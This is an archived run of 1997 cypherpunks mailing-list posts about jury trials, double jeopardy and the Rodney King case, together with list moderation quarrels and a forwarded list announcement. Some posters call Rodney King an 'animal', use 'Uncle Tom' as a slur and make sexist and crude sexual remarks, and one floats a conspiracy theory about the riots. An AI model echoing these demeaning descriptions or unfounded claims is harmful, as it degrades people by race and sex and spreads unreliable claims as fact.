> destroy cypherpunks. I personally find the above unlikely, but at least
> more likely than all other suggestions (which I think are an example
> of the delusion of grandeur).

Remember the movie Die Hard (#1)?  Remember what the wife said about
how her husband would drive people stark, raving mad?  I humbly
suggest by analogy that it was me, since that is my effect on a lot
of people, particularly (and especially) the John and Sandy types.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 19 Feb 1997 09:26:44 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702191726.JAA27081@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> Mr. may wrote:
> > At 1:22 PM -0600 2/17/97, snow wrote:
> Amendment IV-
> (1791) The right of the people to be secure in their persons, houses, papers,
> and effects, against unreasonable searches and seizures, shall not be violated,
> and no warrants shall issue, but upon probable cause, supported by oath or
> affirmation, and particularly describing the place to be searched, and the
> persons or things to be seized.
> It seems to me that the constitution is written rather simply, at least
> prior to the 14th amendment. Congress Shall Make No Law... where is the
> confusion?

Simple, but....  In a right to jury trial of peers, are the peers
the peers of the defendant or the peers of the victim?  Both the
Rodney King officers and the O.J. cases were perfect examples of
how, when you switch the peer groups, you reverse the decisions.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bert-Jaap Koops <E.J.Koops@kub.nl>
Date: Wed, 19 Feb 1997 06:26:14 -0800 (PST)
To: cryptography@c2.net
Subject: Crypto Law Survey updated
Message-ID: <199702191426.GAA24913@toad.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 19 Feb 1997 18:13:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: "Trial"
Message-ID: <199702200213.SAA04001@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 8:02 PM +0200 2/19/97, Shark wrote:
>Trial

OK, that makes 18 votes for "trial," 26 votes for "no trial," and 3 people
asking what the hell the vote is all about.

Looks like there won't be a trial and we can move directly to the punishment.


--Klaus! von Future Prime



--
[This Bible excerpt awaiting review under the U.S. Communications Decency
Act of 1996]
And then Lot said, "I have some mighty fine young virgin daughters. Why
don't you boys just come on in and fuck them right here in my house - I'll
just watch!"....Later, up in the mountains, the younger daughter said:
"Dad's getting old. I say we should fuck him before he's too old to fuck."
So the two daughters got him drunk and screwed him all that night. Sure
enough, Dad got them pregnant, and had an incestuous bastard son....Onan
really hated the idea of doing his brother's wife and getting her pregnant
while his brother got all the credit, so he pulled out before he
came....Remember, it's not a good idea to have sex with your sister, your
brother, your parents, your pet dog, or the farm animals, unless of course
God tells you to. [excerpts from the Old Testament, Modern Vernacular
Translation, TCM, 1996]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 19 Feb 1997 15:43:30 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702192343.PAA02079@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970219:0722 Dale Thorn <dthorn@gte.net> said:

+Simple, but....  In a right to jury trial of peers, are the peers the
+peers of the defendant or the peers of the victim?  Both the Rodney
+King officers and the O.J. cases were perfect examples of how, when you
+switch the peer groups, you reverse the decisions.

    you trying to be some kind of trouble maker? please remember that 
    *all* the fairweather dogooder liberals have been telling us for 
    years that everyone is equal.  yeah, right!

    therefore, juries are obviously color blind, and not dazzled by 
    attorneys calling up racism.  yeah, right!

    as to Powell, he is/was an animal who should have been put away 
    permanently. 

    Koon was an officer's officer (personal experience) and was in the 
    wrong place at the wrong time, not willing to step in. Koon lost 24 
    years of service without a mark, his pension, and all his benefits 
    with 5 or 6 kids at home --and they had to go into hiding until 
    found by the liberal press again and again who obviously felt the 
    family should be punished as well.  we wont even bother with the 
    issues of double jeopardy when they pull a federal civil rights 
    trial on all of them after the state court cleared everyone except 
    Powell who they hung on.  they had a clear right to try Powell, 
    noone else.

    and the video played for evidence missed the first 90 seconds when a 
    very large animal (Rodney King can be described no other way) came 
    out of the car, dancing the jig, and went after Powell.  by the time 
    the prosecutors, particularly the Feds, were through itimidating the 
    witnesses, nobody told the truth. 

    Rodney King had been busted for public intoxication, controlled 
    substances, and disorder enough times that he was well recognized 
    for what he was  --and easily identified.

    in the spooks, we called Powell's actions "the red mask" --once you 
    start staring the beast in the eye, you are so wired on there is no 
    stopping until your opponent is jello. 'shocktroops' or 
    'Stossentruppen' should never be used in civilian police forces, 
    except possibily on SWAT teams, not an average street cop.

    and why did we have the trial in the first place? simply because the 
    LA Times and KABC decided there was going to be a trial.  I dont 
    know whether to chalk it off to their bleeding heart liberals, or 
    just the usual greed for money to be made on high profile news.
    or is it just more of the usual politically correct beat down of
    the oppressive whiteface?

    it is sometimes difficult to defend the LA Police department when 
    you knew Daryll Gates and his predecessor, "Big Ed" Davis. Both of
    them are cowboys; Big Ed is now a state senator from the far west 
    Valley, what was horse country when I lived there.  they had a job 
    to do, and LA is a mean place. the city itself is 2/3 poverty, half 
    of that extreme ghetto and barrio problems.

    Big Ed is the man who proposed the fitting ending to airline 
    hijackings, and set up his display in plain sight: in front of
    the American Airlines terminal building 4 at LAX before LAX was 
    double decked.  

    Big Ed parked a 40 ft flat bed trailer out there with a judge's 
    bench at one end and a gallows at the other end with the jury box 
    and dock in between.  yes, sir, justice by the hijackers' peers; 
    take the next 12 citizens coming out the doors.

    perfect and swift justice on someone who has no defense for his 
    actions.

    everything else falls under this short take by a prominent author 
    discussing the problem with jury selection: 

        "The men who murdered Virginia's [Nevada] original twenty-six
    cemetary occupants were never punished.  Why?  Because Alfred the 
    Great, when he invented trial by jury, and knew that he had 
    admirably framed it to secure justice in his age of the world, was 
    not aware that in the nineteenth century the condition of things 
    would be so entirely changed that unless he rose from the grave and
    altered the jury plan to meet the emergency, it would prove the most
    ingenious and infallible agency for defeating justice that
    human wisdom could contrive.  For how could he imagine that we
    simpletons would go on using his jury plan after circumstances had
    stripped it of its usefulness, any more than he could imagine that
    we would go not using his candle clock after we had invented
    chronometers?  In his day news could not travel fast, and hence he
    could easily find a jury of honest, intelligent men who had not
    heard of the case they were called to try - but in our day of
    telegraph and newspapers his plan compels us to swear in juries
    composed of fools and rascals, because the system rigidly excludes
    honest men and men of brains.

    "I remember one of those sorrowful farces, in Virginia, which we 
    call a jury trial.  A noted desperado killed Mr. B, a good citizen, 
    in the most wanton and cold-blooded way.  Of course the papers were 
    full of it, and all men capable of reading read about it.  And of 
    course all men not deaf and dumb and idiotic talked about it.  A jury
    list was made out, and Mr.  B. L., a prominent banker and a valued
    citizen, was questioned precisely as he would have been questioned
    in any court in America:

        "`Have you heard of this homicide?'
        "`Yes.'
        "`Have you held conversations on the subject?'
        "`Yes.'
        "`Have you formed or expressed opinions about it?'
        "`Yes.'
        "`Have you read newspaper accounts of it?'
        "`Yes.'
        "`We do not want you.'

        "A minister, intelligent, esteemed, and greatly respected; a 
    merchant of high character and known probity; a mining 
    superintendent of intelligence and unblemished reputation; a 
    quartz-mill owner of excellent standing, were all questioned in 
    the same way, and all set aside.  Each said the public talk and the
    newspaper reports had not so biased his mind but that sworn
    testimony would overthrow his previously formed opinions and enable
    him to render a verdict without prejudice and in accordance with
    the facts.  But of course such men could not be trusted with the
    case.  Ignoramuses alone could mete out unsullied justice.

        "When the peremptory challenges were all exhausted, a jury of 
    twelve men was empaneled - a jury who swore they had neither heard,
    read, talked about, nor expressed an opinion concerning a murder
    which the very cattle in the corrals, the Indians in the sagebrush,
    and the stones in the streets were cognizant of!  It was a jury
    composed of two desperadoes, two low beerhouse politicians, three
    barkeepers, two ranchers who could not read, and three dull, stupid,
    human donkeys!  It actually came out afterward that one of these
    latter thought that incest and arson were the same thing.  "The
    verdict rendered by this jury was, Not Guilty.  What else could one
    expect?  "The jury system puts a ban upon intelligence and honesty,
    and a premium upon ignorance, stupidity, and perjury.  It is a shame
    that we must continue to use a worthless system because it was good
    a thousand years ago.  

        In this age, when a gentleman of high social standing,
    intelligence, and probity swears that the testimony given under
    solemn oath will outweigh, with him, street talk and newspaper
    reports based on mere hearsay, he is worth a hundred jurymen who
    will swear to their own ignorance and stupidity, and justice would
    be far safer in his hands than theirs.  Why could not the jury law
    be so altered as to give men of brains and honesty an equal chance
    with fools and miscreants?  Is it right to show the present
    favoritism to one class of men and inflict a disability on another,
    in a land whose boast is that all its citizens are free and equal?

        I am a candidate for the legislature.  I desire to tamper with 
    the jury law.  I wish to so alter it as to put a premium on
    intelligence and character, and close the jury box against idiots,
    blacklegs, and people who do not read newspapers.  But no doubt I
    shall be defeated - every effort I make to save the country `misses
    fire.'"
            --From "Roughing It" by Mark Twain, Chapter XLVIII.

 _____________________________________________________________________
  "Explain to me, slowly and carefully, 
    why if person A, when screwed over on a deal by B; 
    is morally obligated to consult, pay, and defer to, person C 
    for the purpose of seeing justice done; 
    and why person C has any legitimate gripe,
    if A just hauls off and smacks B around like a dead carp." 

 ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shark <shark@turk.net>
Date: Wed, 19 Feb 1997 15:11:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702192311.PAA01536@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Trial





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 20 Feb 1997 06:56:27 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702201456.GAA14485@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
> on or about 970219:0722 Dale Thorn <dthorn@gte.net> said:
> +Simple, but....  In a right to jury trial of peers, are the peers the
> +peers of the defendant or the peers of the victim?  Both the Rodney
> +King officers and the O.J. cases were perfect examples of how, when you
> +switch the peer groups, you reverse the decisions.

>     you trying to be some kind of trouble maker? please remember that
>     *all* the fairweather dogooder liberals have been telling us for
>     years that everyone is equal.  yeah, right!
>     therefore, juries are obviously color blind, and not dazzled by
>     attorneys calling up racism.  yeah, right!

It just makes me a little nervous to see jurors getting so personally
involved that they come out of the box with a clenched fist as a
(I suppose) victory salute.  I didn't care to watch the charade in
Santa Monica recently, but I doubt it was much better.

>     as to Powell, he is/was an animal who should have been put away
>     permanently.

I watched most of the first trial live in '92, since I wasn't working
that year. My impressions at the time went along with the presentation,
which was fair to the officers.  It was stated by Koon and one of the
other officers as much as a year later, when many cities across the
U.S. had been using the King video for training for several months to
a year, "The LAPD has not to this date provided their officers with
new tools and techniques to handle this kind of situation without a
repeat of the same" (quote approximate). Of course, if you're willing
to consider an alternative scenario, one which would appeal primarily
to "conspiracy buffs" and the like, you might recall that L.A. was
getting ready to put in a new freeway from the airport across the
very line where the most fires were (6,000-plus fires, so extensive
that the big jets couldn't fly over to LAX), and I think the outcome
was to save them a lot of work, a windfall as it were.

>     Koon was an officer's officer (personal experience) and was in
>  the wrong place at the wrong time, not willing to step in. Koon lost
>  24 years of service without a mark, his pension, and all his benefits
>     with 5 or 6 kids at home --and they had to go into hiding until
>     found by the liberal press again and again who obviously felt the
>     family should be punished as well.  we wont even bother with the
>     issues of double jeopardy when they pull a federal civil rights
>     trial on all of them after the state court cleared everyone except
>     Powell who they hung on.  they had a clear right to try Powell,
>     noone else.

It's good if you don't read the L.A. Times.  One of their lead editor-
ializers (whores), a professor at USC law school named Erwin
Chemerinsky,
writes in relation to this subject "The federal government is an inde-
pendent sovereign that cannot have its powers diminished by a state
government's actions." (exact quote, 2/7/97).  Either that's a load of
BS doubletalk, or it's one of the more fascistic commentaries from the
Times, which is usually bad enough.
 
BTW, the Times printed a large picture (first time I've ever seen) of
the chairman, someone named Schlossberg, and I think it's spelled
slightly different than the one who married Caroline Kennedy.
Anyway, this guy could be Michael Eisner's twin brother.  Two bozos
if I ever saw 'em, goofy-looking dudes, which would explain much
about their newspaper editorial policy.

>     and the video played for evidence missed the first 90 seconds when a
>     very large animal (Rodney King can be described no other way) came
>     out of the car, dancing the jig, and went after Powell.  by the time
>     the prosecutors, particularly the Feds, were through itimidating the
>     witnesses, nobody told the truth.

The suppression of evidence that worked in the police officers' 2nd
trial has apparently become the precedent for a whole lot of trials.
The feds are sweating hard on this OKC bombing thing - latest is that
the initial witnesses seeing McVeigh here or there have admitted to
contradictory descriptions they've given before.

Note that there was some jury tampering (IMO, and others too) in the
grand jury proceeding in OKC; also note the flimsy excuse for throwing
out the grand jury in the Simpson case, since they weren't going to
indict Simpson.  I didn't even read close on the De La Beckwith case,
where the feds finally nailed him after 20-plus years of trying, but
maybe there's something on the internet....

>     Rodney King had been busted for public intoxication, controlled
>     substances, and disorder enough times that he was well recognized
>     for what he was  --and easily identified.

Let anyone say whatever they want to about cops, but I'm glad it's
not me out there facing 220-lb guys on dust.  I heard first hand
from one who shot a guy twice, and he just kept coming.  If a .38
won't stop 'em, maybe that's where the big dogs come in handy.
It would've been interesting if the King video had a minute or so
with a couple of K-9's...

>     in the spooks, we called Powell's actions "the red mask" --once you
>     start staring the beast in the eye, you are so wired on there is no
>     stopping until your opponent is jello. 'shocktroops' or
>     'Stossentruppen' should never be used in civilian police forces,
>     except possibily on SWAT teams, not an average street cop.

When I went into the Army for combat training, I stood 5-10 and
weighed 120 lbs.  I weighed 130 when I came out.  I guess I could
have gone on patrol looking for Charlie, and maybe kept alive, if
I didn't have to take on some well-fed crazies whose lives were
turning to shit because of their enormous stupidity.  In any case,
I couldn't go out on the street in L.A. and face guys like King,
so I lean toward the cops as much as I can.  BTW (and speaking of
stupidity), the Christopher Commission named 44 or 45 cops out of
the LAPD's 8,000-plus as problem officers, and two(!) of the 45
went to the Simpson home the night/morning of the murders.

>     and why did we have the trial in the first place? simply because the
>     LA Times and KABC decided there was going to be a trial.  I dont
>     know whether to chalk it off to their bleeding heart liberals, or
>     just the usual greed for money to be made on high profile news.
>     or is it just more of the usual politically correct beat down of
>     the oppressive whiteface?

Big Money, Big Fame, Big Fortune.  Look at Dan Rather, Robert McNeil,
Bill Moyers, and others who profited handsomely from their on-the-
scene experience in the JFK killing.  Remember Netanyahu, who spent
all those hours on the telly during the Gulf War, playing the role
of the ultra-conservative Israeli leader who could step right in and
take command in a crisis?  Well, he did, and have you seen any recent
pictures of him?  Even when he's with Yessir Yurafart, he's beaming
broadly, like the cat that just ate the canary.  Big, big money.

>     it is sometimes difficult to defend the LA Police department when
>     you knew Daryll Gates and his predecessor, "Big Ed" Davis. Both of
>     them are cowboys; Big Ed is now a state senator from the far west
>     Valley, what was horse country when I lived there.  they had a job
>     to do, and LA is a mean place. the city itself is 2/3 poverty, half
>     of that extreme ghetto and barrio problems.
>     Big Ed is the man who proposed the fitting ending to airline
>     hijackings, and set up his display in plain sight: in front of
>     the American Airlines terminal building 4 at LAX before LAX was
>     double decked.
>     Big Ed parked a 40 ft flat bed trailer out there with a judge's
>     bench at one end and a gallows at the other end with the jury box
>     and dock in between.  yes, sir, justice by the hijackers' peers;
>     take the next 12 citizens coming out the doors.
>     perfect and swift justice on someone who has no defense for his
>     actions.

[heh heh]

The people of L.A. really liked Gates, because he kept the peace.
And they liked (Uncle) Tom Bradley just as well, since he kept the
city really clean.  No trash on the streets, no dirt, all the
beautiful shrubs lining the freeways well-watered - you ought to
see Hollywood since they started putting in the "subway" under
Mayor Riordan.  Anyone with any sense of pride at all would be
aghast at what's happened. Streets caving in, wooden planks covering
big holes on lots of streets that you have to drive over, it's a mess.
Even a lot of the old stars on the Walk of Fame were badly damaged.
Riordan must be a Communist, or Mafia or something.  Funny that when
he ran for mayor, his huge billboards all over town had his name in
big letters, and the next-to-last letter (a) was replaced with a
large red star, looking exactly like the ones they used under Mao.

[remainder snipped]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Name Withheld by Request <nobody@replay.com>
Date: Wed, 19 Feb 1997 18:11:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Detweiler trolls^Wrides again
Message-ID: <199702200211.SAA03938@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997, Vladimir Z. Nuri wrote:

> Date: Fri, 14 Feb 97 12:57:17 -0800
> From: "Vladimir Z. Nuri" <vznuri@netcom.com>
> To: Tim May <tcmay@got.net>
> Cc: cypherpunks@toad.com
> Subject: Re: Keep it Simple and the Cypherpunk Way
>
>
> what TCM continues to stick his head in the sand over
>
<snip><snip><snip>
>
> timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing

a troll





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 20 Feb 1997 08:57:56 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702201657.IAA16269@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> At 11:56 PM 2/19/97 -0800, Dale Thorn wrote:
> >It's good if you don't read the L.A. Times.  One of their lead editor-
> >ializers (whores), a professor at USC law school named Erwin Chemerinsky,
> >writes in relation to this subject "The federal government is an inde-
> >pendent sovereign that cannot have its powers diminished by a state
> >government's actions." (exact quote, 2/7/97).  Either that's a load of
> >BS doubletalk, or it's one of the more fascistic commentaries from the
> >Times, which is usually bad enough.

> Hey, don't forget to shoot the messenger. Chemerinsky's statement is a
> concise summary of at least the last 70 years of double jeopardy
> jurisprudence. The only thing that's unusual about the use of the "dual
> sovereign" doctrine against the cops who beat King was that it's usually
> used against ordinary citizens, not cops. Do you suppose it's possible
> that some of the other evil conspiracies you see lurking behind every
> bush are also just reflections of your own fears and misunderstanding?

My background is not so much in conspiracy as it is in rational
problem solving.  Conspiracy is yet another model/filter with which
to evaluate events, sometimes useful unless a person automatically
rejects all of that and subscribes to the Elmer Fudd view of history.

I understood clearly the (supposed) intent of the feds in retrying
the Whites in the South who were beating up on Blacks and getting
off with White juries - I just believe they would have served the
people better by declaring mistrials or something instead of using
the "dual sovereignty" BS, since a study of the Constitution and
its preparatory papers shows the fathers clearly would have balked
at this.

One or more of the top feds also commented on the possibility of
retrying Simpson in another criminal case, saying it was not
possible under current law since it didn't have the same aspects
as the Rodney King cops trials. However, that doesn't take anything
away from the fact of a "democracy" run amok, in the hands of bozos
like Michael Eisner and what's-his-schmuck at the L.A. Times, who
are constantly beating the drums for revenge, so that the people
will find "some way, somehow" to lynch people like Simpson, to
"make him pay" for what he "so obviously" did to his victims.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 20 Feb 1997 08:57:44 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: All Hail Emperor Lewis! (was: Re: status: shoppingplanet jan 20
Message-ID: <199702201657.IAA16244@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Dr.Dimitri Vulis KOTM wrote:
> > These working examples also prove the other point I have found myself
> > having to repeat... i.e. that anyone who posts to USENET news is trivially
> > ``cullable'', and that E-mail spammers can have all of the E-mail addresses
> > they could ever hope to use any day of the week.

> Did you notice that when the 'censorship experiment' on the CypherPunks
> list was abandoned, that Greg Broiles called for the list to be 'killed'?
> Did you notice that when he was ignored, that he then changed his
> postition to suggest that UseNet was the proper forum for continuing
> the list?

Life is too complicated, ya' know?  I just wanna know who is this
PATTI SHOCK <shock@nevada.edu>  person, who's allegedly calling for
a moderation of some forum on Usenet.  The way I see it, if she's a
real babe, somebody should fix her up with some censored material
just to keep her happy.  Then just let some really mean, dirty
material through once a month or so, just so she knows the process
is working, and protecting her from all sorts of hideous stuff.

OTOH, if she's a Chelsea Clinton look-alike, why bother?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Thu, 20 Feb 1997 08:57:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] Dale Thorn Conspiracy Theory
Message-ID: <199702201657.IAA16249@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(When I got back from WashDC, there were close to 300 new e-mails,
and I'm still digging through the old ones.)

Dale Thorn <dthorn@gte.net> writes:

> Toto wrote:
> > Dale Thorn wrote:
> > > Igor Chudov @ home wrote:
> > > > Take no offense, but why nobody thought about an obviously more likely
> > > > conclusion: that it is Dr. Vulis who was, say, hired by Detweiler to
> > > > destroy cypherpunks. I personally find the above unlikely, but at least
> > > > more likely than all other suggestions (which I think are an example
> > > > of the delusion of grandeur).

Is LD on this mailing list? Someone should invite him.

> OTOH, I had an instant crush on Zoe Baird.  It broke my heart when
> those heartless bastards in the Senate didn't confirm her.  You just
> can tell when a babe like that can't get in, that the politicians
> love the money better than the women.  Must be a bunch of homosexuals.

I think Kimba Wood is a fine judge.

> Fruit of the Loom was one of the first undie mfrs. to go offshore,
> possibly Taiwan, possibly to the Reds subcontracting off the island.
> You realize that Chiang Kai-Shek(sp?) was either the first or 2nd
> richest man in the world during and after WWII? Running guns, drugs,
> and boxer shorts for the CIA/FOTL company.

Did you know that did wife was Russian?


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Feb 1997 12:57:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: FWD: (CHANGE: NUVUPSY - Against the therapeutic state)
Message-ID: <199702202057.MAA22533@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Tell me what this has to do with cryptography, and I'll give you a nickle.

Or, maybe not...

;-).

Cheers,
Bob Hettinga

--- begin forwarded text


Date:         Thu, 20 Feb 1997 09:48:47 -0600
Reply-To:     "Dr. Jeffrey A. Schaler" <JSCHALE@american.edu>
Sender:       NEW-LIST - New List Announcements <NEW-LIST@LISTSERV.NODAK.EDU>
From:         "Dr. Jeffrey A. Schaler" <JSCHALE@american.edu>
Organization: The American University
Subject:      CHANGE: NUVUPSY - Against the therapeutic state
To:           NEW-LIST@LISTSERV.NODAK.EDU

NVVUPSY has moved to a new server and has a new E-mail address.

NUVUPSY on LISTSERV@MAELSTROM.STJOHNS.EDU

    "Although we may not know it, we have, in our day, witnessed the birth
    of the Therapeutic State.  This is perhaps the major implication of
    psychiatry as an institution of social control."  (Thomas Szasz, 1963)

    NUVUPSY is a forum to share points of view critical of the "therapeutic
    state" and institutional psychiatry, and those supportive of contractual
    psychotherapy and psychiatry.  We're interested in discussions concerning
    the relationship between liberty and responsibility and its implications
    for clinical, legal, and public policy.  The list will serve to promote
    alternative views to explaining unwanted behaviors.

    Sociological perspectives on the medicalization of deviant behavior are
    welcome.  Other topics for discussion include but are not limited to:
    The myth of addiction as a disease;  the ideology of biological
    determinism;  the obsolescence of the schizophrenia hypothesis;  coerced
    treatment for addiction and First Amendment rights;  criticism
    of psychiatric drug prescriptions;  etc.

    NUVUPSY Board of Advisors include:  Bruce K. Alexander, Phil Brown,
    Robert C. Carson, David J. Essex, Louis B. Fierman, Robert E. Haskell,
    Reid Klion, James C. Mancuso, Roberta Russell, Theodore R. Sarbin,
    Jeffrey A. Schaler, and Richard E. Vatz.

    Archives of NUVUPSY mail items are kept in monthly files.  You may obtain
    a list of files in the archives by sending the command

      INDEX NUVUPSY

    in the BODY of e-mail to LISTSERV@MAELSTROM.STJOHNS.EDU

    (NUVU as in "new view", V=vee)

    To subscribe, send the following command in the BODY of mail to
    LISTSERV@MAELSTROM.STJOHNS.EDU

       SUBSCRIBE NUVUPSY yourfirstname yourlastname

    Owner:  Jeffrey A. Schaler, Ph.D.  jschale@american.edu
            Martin W. Smith            mws@metis.no
            NUVUPSY List Coordinators

                                 -------
Use this information at your own risk.  For more information and disclaimer
send E-mail to LISTSERV@LISTSERV.NODAK.EDU with the command  INFO NEW-LIST
in the body.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 20 Feb 1997 14:26:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702202226.OAA23758@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From: Dale Thorn <dthorn@gte.net>

>Greg Broiles wrote:
>> At 11:56 PM 2/19/97 -0800, Dale Thorn wrote:
>> >It's good if you don't read the L.A. Times.  One of their lead editor-
>> >ializers (whores), a professor at USC law school named Erwin Chemerinsky,
>> >writes in relation to this subject "The federal government is an inde-
>> >pendent sovereign that cannot have its powers diminished by a state
>> >government's actions." (exact quote, 2/7/97).  Either that's a load of
>> >BS doubletalk, or it's one of the more fascistic commentaries from the
>> >Times, which is usually bad enough.

>> Hey, don't forget to shoot the messenger. Chemerinsky's statement is a
>> concise summary of at least the last 70 years of double jeopardy
>> jurisprudence. The only thing that's unusual about the use of the "dual
>> sovereign" doctrine against the cops who beat King was that it's usually
>> used against ordinary citizens, not cops. Do you suppose it's possible

>I understood clearly the (supposed) intent of the feds in retrying
>the Whites in the South who were beating up on Blacks and getting
>off with White juries - I just believe they would have served the
>people better by declaring mistrials or something instead of using
>the "dual sovereignty" BS, since a study of the Constitution and
>its preparatory papers shows the fathers clearly would have balked
>at this.

	I had understood the basic reasons for the double jeopardy
limit to be two: A. to prevent government from tormenting innocent
individuals with repeated trials; and B. to prevent convictions of
innocents by simple repeated trials until a jury made a mistake. The
latter can be analogized in statistics to the consideration that a
test with a p value of .05 will turn out false positive results 1 time in
20 by the nature of it; thus, if you look at two different studies/trials
with an independent (an oversimplifying assumption for trials, admittedly)
5% chance of an incorrect conviction, the chance is 1-((19/20)(19/20))
or 9.75% for _either_ of them turning out a false positive instead of a
5% chance. In a system partially based on the principle that it's better
to let the guilty go free than to punish the innocent, this result is
not acceptable. While the founding fathers probably didn't realize the
mathematics behind the second, I suspect that they had some intuition
of its nature.
	I can see an argument, however, for using it in the case of
state employees, particularly police - the state judicial/prosecutorial
system can hardly be said not to be biased in favor of them. A better
solution, however, would be to simply do the trial in a federal court
to begin with. (Having trials of federal employees in the courts of the
state of their alleged victims would be a correspondingly good idea,
although multiple possible states for this could be a problem.)
	I'd appreciate comments from persons with more legal knowledge
than I have; I am simply going by logic here.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Otto Matic <ott0matic@hotmail.com>
Date: Thu, 20 Feb 1997 22:26:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:
Message-ID: <199702210626.WAA01264@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




>Date: Wed, 19 Feb 1997 15:37:45 -0800
>From: "Timothy C. May" <tcmay@got.net>
>To: shark@turk.net, cypherpunks@toad.com
>Subject: "Trial" 

>At 8:02 PM +0200 2/19/97, Shark wrote:
>>Trial
>
>OK, that makes 18 votes for "trial," 26 votes for "no trial," and 3 people
>asking what the hell the vote is all about.

Make that 4 what the hells.  What the hell?  this is the first I've seen of
this post...  I feel so left out.

>
>Looks like there won't be a trial and we can move directly to the punishment.
>
>
>--Klaus! von Future Prime
>
>
>
>--
>[This Bible excerpt awaiting review under the U.S. Communications Decency
>Act of 1996]
>And then Lot said, "I have some mighty fine young virgin daughters. Why
>don't you boys just come on in and fuck them right here in my house - I'll
>just watch!"....Later, up in the mountains, the younger daughter said:
>"Dad's getting old. I say we should fuck him before he's too old to fuck."
>So the two daughters got him drunk and screwed him all that night. Sure
>enough, Dad got them pregnant, and had an incestuous bastard son....Onan
>really hated the idea of doing his brother's wife and getting her pregnant
>while his brother got all the credit, so he pulled out before he
>came....Remember, it's not a good idea to have sex with your sister, your
>brother, your parents, your pet dog, or the farm animals, unless of course
>God tells you to. [excerpts from the Old Testament, Modern Vernacular
>Translation, TCM, 1996]
>
>
>


otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ross Wright <rwright@adnetsol.com>
Date: Thu, 20 Feb 1997 22:26:01 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Condolences
Message-ID: <199702210626.WAA01258@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim:

Well, if I am still in your killfile you won't be reading this.  
That's too bad.  I just want to say the you are really being given 
the stake through the heart treatment by Sandy.  And you say in your 
post, from the flames trash bin,  Re: Constitution and a Right to Privacy:

"I write about what I find interesting. You all know where the
Delete key is. (Of course, a fairly large fraction of my recent posts
have been deleted for you by Sandy, who sends many of my posts to
neither the Main list nor the Flames list. Bet a lot of you didn't
know this, did you?)"

No, I did not know that and it pisses me off!!!

Fuck everyone.

Ross


=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
